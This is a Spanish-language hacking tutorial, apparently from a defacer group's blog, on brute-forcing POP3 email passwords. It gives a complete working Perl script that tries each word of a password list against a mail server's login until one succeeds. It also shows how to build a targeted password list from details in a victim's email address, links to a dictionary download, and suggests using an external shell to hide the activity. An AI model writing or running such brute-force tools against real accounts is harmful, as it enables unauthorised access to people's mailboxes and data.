Esta vez trataremos los ataques BruteForce un ataque que en algun tiempo
cuando los administradores ( y aun hay :P ) no eran concientes de los riesgos
que corrian al poner passwords faciles de adivinar, la tecnica de Bruteforce
o fuerza Bruta en español es una de las tecnicas de invasion de sistemas mas
antiguas que hay, empezemos...
Cualquier sistema de acceso restringido siempre nos pedira para poder entrar
un usuario y contrase~a, ya sea que tengamos los maximos privilegios como
pueden ser root o admin o una cuenta de usuario sencilla :D, un ataque de
fuerza bruta consiste en intentar obtener acceso por medio de el intento y
el error :)
Cuando el atacante conoce que existe determinado nombre de usuario sea admin
o no ya lleva un buen tramo del camino recorrido, ya que solo le falta
averiguar la contrase~a y es increible como aun hay personas que utilizan
passwords realmente faciles de adivinar algunos ejemplos:
------------------------------------------------------
user: laurita user: laurita
password: laurita password: 123456
------------------------------------------------------
Debido a la remota posibilidad de obtener el password de una manera sencilla
es muy dificil que alguien quiera hacer este trabajo manualmente a menos que
tengas las ganas para quedarte todo un mes tratando de adivinar la contrase~a
como pendejo.
En este tutorial aprenderemos como usar un programa desarrollado en Perl el
cual nos ayudara a hacer mas rapido este trabajo.
############################################################################
sh-2.05# perl brute.pl ./ Implementando Brute.pl
############################################################################
Primero comenzaremos recaudando informacion del servidor al que nos dispone
mos a entrar, todos estos datos seran necesarios para nuestro script:
------------------------------------------------
- Servidor al que queremos tener acceso
- E-mail del administrador
- Directorio de Diccionario de Contrase~as
------------------------------------------------
Sin embargo te preguntaras de donde obtienes un diccionario de contrase~as,
un pequeño consejo es que podemos sacar mucha informacion del e-mail para
poder hacer nuestro diccionario por ejemplo:
-------------------------------
tuningcareslomaximo@hotmail.com
-------------------------------
Vemos que al chavo le interesan los carros modificados entonces (Solo es un
ejemplo) su contraseña podria estar relacionada con algo referente a los autos
que tal si creamos nuestro archivo:
-----------------------------------------------------------------
contraseñas.txt
Y le metemos el contenido que tenga que ver con autos:
tuning
motor
carros
autos
camionetas
chevymania <------ xD pa los de mexico ya saben a que me refiero
audio
car audio
sparco
nos
------------------------------------------------------------------
Bien como ven es algo facil de hacer nuestra lista pero no siempre ten
dremos exito y no garantizo nada ni siquiera con un diccionario, sin
embargo si gustan probar la url para descargar un diccionario es la
siguiente:
-------------------------------------------------
http://www.defacersmexico.org/tut/Diccionario.zip
-------------------------------------------------
Y buen regresando a nuestro exploit nosotros tambien podemos automatizar
la creacion de nuestro archivo con contraseñas a traves del comando
----------
mkpasswd
----------
Los primeros pasos para crear nuestro programa sera capturar la informa
cion que sea necesario o cancelar la explotacion si faltan argumentos:
Ejecutaremos primeramente:
- Cargar modulos
- Verificar la cantidad de parametros recibidos
- Atribuir parametros a las variables
- Verificar si el archivo de las contrase~as existe
============================================================================
Comenzamos nuestro codigo en Perl
#!/usr/bin/perl
# modified by Status-x
# cargamos los modulos usados por nuestro script
use strict;
use IO::Socket;
if ($#ARGV != 2) {
print "Use: \n\t$0 popserver username passwd_list\n\nDonde:\n";
print "\tpopserver = servidor de email\n\tusername = nombre de usuario\n";
print "\tpasswd_list = archivo con la lista de passwords\n\n";
exit(0);
}
# atribuimos los paramatros a las variables
my ($server,$user,$pwfile) = @ARGV;
if (! -f $pwfile) {
print "Error: $pwfile no es un nombre archivo valido!\n";
exit;
}
============================================================================
Enseguida abriremos nuestro archivo de contrase~as para que lo lea y para
que por cada contrase~a que hayamos colocado use el procedimiento de login:
===============================================
Parte de Login :)
# para que por cada contraseña intente login
open(R,$pwfile);
while (<R>) {
chomp;
tryout($server,$user,$_);
}
close(R);
===============================================
Enseguida pondremos las funciones tryout y readsock
============================================================================
sub tryout {
my ($server,$user,$passwd) = @_;
my $state;
my $connex = new IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => "110",
Proto => "tcp",
Type => SOCK_STREAM,
Timeout => "30"
);
if (!defined($connex)) {
print "Error al conectar al servidor $server ...\n";
exit(0);
}
$state = &readsock($connex);
$connex->send("USER $user\r\n");
$state = &readsock($connex);
if ($state !~ /^\+OK/) { next; }
$connex->send("PASS $passwd\r\n");
$state = &readsock($connex);
if ($state =~ /^\+OK/) {
print "Cracked!!! el password del usuario $user es $passwd\n";
exit;
}
$connex -> close;
sleep(5);
}
sub readsock {
my ($socket) = @_;
my $data = '';
my $buf = '';
while ($buf !~ /\n$/) {
$buf=<$socket>;
$data .= $buf;
}
return $data;
}
=============================================================================
Y listo tenemos nuestro codigo en Perl solo lo juntamos y ya esta, ahora
para poder hacer funcionar nuestro programa simplemente en una shell linux
pondremos lo siguiente:
----------------------------------------------------------------------------------
sh-2.05# perl brutal.pl defacersmexico.org usuario-haxor directorio/archivo/contraseñas.txt
----------------------------------------------------------------------------------
Esta es solo una muestra de ataques de fuerza bruta, sin embargo algunos
programas mas utilizados o de mas "categoria" serian John The Ripper
que es usado algunas veces para descifrar contraseñas encriptadas en
Sistemas UNIX
Les recomiendo usar una shell que sea suya ya que el uso de estas aplicaciones
es restringido ;), aunque tambien pueden usar shells externas
############################################################################
sh-2.05# ./ Herramientas Utilizadas
############################################################################
Las herramientas utilizadas esta vez fueron pocas jejeje, un sistema
Linux para hacer que nuestro programa funcione aunque como les dije pueden
usar una shell externa.
NotePad - para hacer nuestra lista de contraseñas
Diccionario de Palabras - Hay muchos en la red http://astalavista.cc
############################################################################
sh-2.05# ./ Despedida
############################################################################
Cap comentari:
Publica un comentari a l'entrada